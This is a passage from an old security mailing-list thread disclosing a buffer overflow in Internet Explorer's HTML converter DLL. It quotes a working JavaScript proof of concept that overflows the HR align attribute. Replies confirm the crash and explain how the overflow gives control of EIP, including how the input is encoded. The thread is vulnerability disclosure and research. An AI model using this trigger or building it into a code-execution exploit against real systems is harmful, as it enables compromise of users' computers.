Onderwerp: Internet Explorer >=5.0 : Buffer overflow

<script>
wnd=open("about:blank","","");
wnd.moveTo(screen.Width,screen.Height);
WndDoc=wnd.document;
WndDoc.open();
WndDoc.clear();
buffer="";
for(i=1;i<=127;i++)buffer+="X";
buffer+="DigitalScream";
WndDoc.write("<HR align='"+buffer+"'>");
WndDoc.execCommand("SelectAll");
WndDoc.execCommand("Copy");
wnd.close();
&lt;/script&gt;

Grtz: Nj3l, buggzy, 3APA3A, Void Team, X - Crew

I can confirm this on Windows XP Professional

version 6.0.2800.1106.xpsp2-030422-1633

0x43534c41 refrenced mem at 0x43534c41
-KF


Digital Scream wrote:

>&lt;script&gt;
> wnd=open("about:blank","","");
> wnd.moveTo(screen.Width,screen.Height);
> WndDoc=wnd.document;
> WndDoc.open();
> WndDoc.clear();
> buffer="";
> for(i=1;i<=127;i++)buffer+="X";
> buffer+="DigitalScream";
> WndDoc.write("<HR align='"+buffer+"'>");
> WndDoc.execCommand("SelectAll");
> WndDoc.execCommand("Copy");
> wnd.close();
>&lt;/script&gt;
>
>Grtz: Nj3l, buggzy, 3APA3A, Void Team, X - Crew
>
>
>

In-Reply-To: <20030622005821.17280.qmail@www.securityfocus.com>


>&lt;script&gt;
> wnd=open("about:blank","","");
> wnd.moveTo(screen.Width,screen.Height);
> WndDoc=wnd.document;
> WndDoc.open();

This is a good one. Works for me on IE 6.0.2800.1106.xpsp2.

It's a stack based buffer overflow in HTML32.cnv which is a HTML
converter .DLL with a funny extension (it's in \Program Files\Common
Files\Microsoft Shared\TextConv). You can control EBP, EIP, and some
regs. The only twist is that the buffer is encoded before the overflow
occurs. The encoding appears to be something like UTF-8; high ASCII is
transformed into multi-byte sequences, low ASCII is truncated (?!). This
is only a problem for getting a useful EIP in there, and not a very big
one by any means.

I'm no unicode guru, so maybe someone else knows if this is consistent
with UTF-8:

buffer += "\xcc\x59\xfb\x77";
// becomes \xc3\x8c\x59\xc3\xbb\x57

As surreal side note, this DLL contains a strange easter egg:

..data:02344C94 aPresenting db 'Presenting',0 ; DATA XREF:
_EnsureDocClosure+2FCo
..data:02344C94 ;
_EnsureDocClosure+308o
..data:02344C9F align 4
..data:02344CA0 aTheAnansi db 'The Anansi',0 ; DATA XREF:
_EnsureDocClosure+3C9o
..data:02344CA0 ;
_EnsureDocClosure+3D5o
..data:02344CAB align 4
..data:02344CAC aAnansi db 'Anansi',0 ; DATA XREF:
_EnsureDocClosure+468o
..data:02344CB3 align 4
..data:02344CB4 aAnansiTheSpide db 'Anansi, the spider, is the chief
character in most Ghanaian '
..data:02344CB4 ; DATA XREF:
_EnsureDocClosure+4FFo
..data:02344CB4 ;
_EnsureDocClosure+50Bo
..data:02344CB4 db 'folk tales.',0
..data:02344CFC aGenerallyRegar db ' Generally regarded as crafty and
wise, he is often a maker '
..data:02344CFC ; DATA XREF:
_EnsureDocClosure+520o
..data:02344CFC ;
_EnsureDocClosure+52Co
..data:02344CFC db 'of mischief.',0
..data:02344D45 align 4
..data:02344D48 aHeSeeksToSweep db ' He seeks to sweep up all the wisdom
of the world in order t'
..data:02344D48 ; DATA XREF:
_EnsureDocClosure+541o
..data:02344D48 ;
_EnsureDocClosure+54Do
..data:02344D48 db 'o be the wisest of all.',0
..data:02344D9C aDevelopmentTea db ' Development Team',0 ; DATA XREF:
_EnsureDocClosure+5A9o
..data:02344D9C ;
_EnsureDocClosure+5B5o

Haven't figured out how to trigger it yet (just managed to find working
debug symbols for this DLL):

..text:02315420 _EnsureDocClosure proc near ; CODE XREF:
_ConvertForeignToRtf+E5p

..text:0231567D EasterEgg: ; CODE XREF:
_EnsureDocClosure+1FCj


Cheers,
~ol